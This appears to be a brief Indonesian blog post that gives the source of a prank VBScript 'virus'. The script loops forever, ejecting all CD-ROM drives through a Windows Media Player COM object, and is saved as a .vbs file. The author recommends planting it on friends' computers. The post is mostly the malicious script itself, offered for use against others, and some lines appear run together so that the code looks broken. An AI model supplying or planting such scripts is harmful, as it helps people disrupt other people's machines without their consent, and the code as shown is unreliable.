1.Buka notepad
lalu isikan Sourch virus berikut ini

Set ilikepies = CreateObject("WMPlayer.OCX.7")
Set ilikepie = ilikepies.cdromCollectionif ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loopEnd If

lalu simpan dengan extensi vbs (contoh : Nyebalin.vbs)

cocok buat komputer teman2 anda..hehehe.... 

Baca juga yang di Bawah ini ya Sobat: